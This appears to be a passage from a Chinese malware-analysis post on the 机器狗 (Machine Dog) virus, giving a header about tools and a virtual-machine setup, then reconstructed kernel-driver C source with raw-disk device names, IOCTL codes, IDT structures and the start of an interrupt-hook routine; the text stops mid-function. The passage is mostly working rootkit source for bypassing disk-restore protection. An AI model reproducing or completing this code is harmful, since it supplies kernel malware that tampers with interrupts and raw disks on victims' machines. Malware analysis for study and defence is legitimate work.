软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net/ 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM(我也不太懂这个,学好这个就可以编自己的操作系统了)对应的是LINUX的NASM
【使用工具】: IDA
【操作平台】: win2003(虚拟机)
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
-HACKER 胤真
#include <ntddk.h> // various NT definitions
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DR0_DEVICE_NAME "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME "//DosDevices//PhysicalHardDisk0"
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;
typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;
typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char Type:4;
//段标识位;
unsigned char SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault
VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;
//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;//store interrupt descript table register. to idtr
//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;
//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr
//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量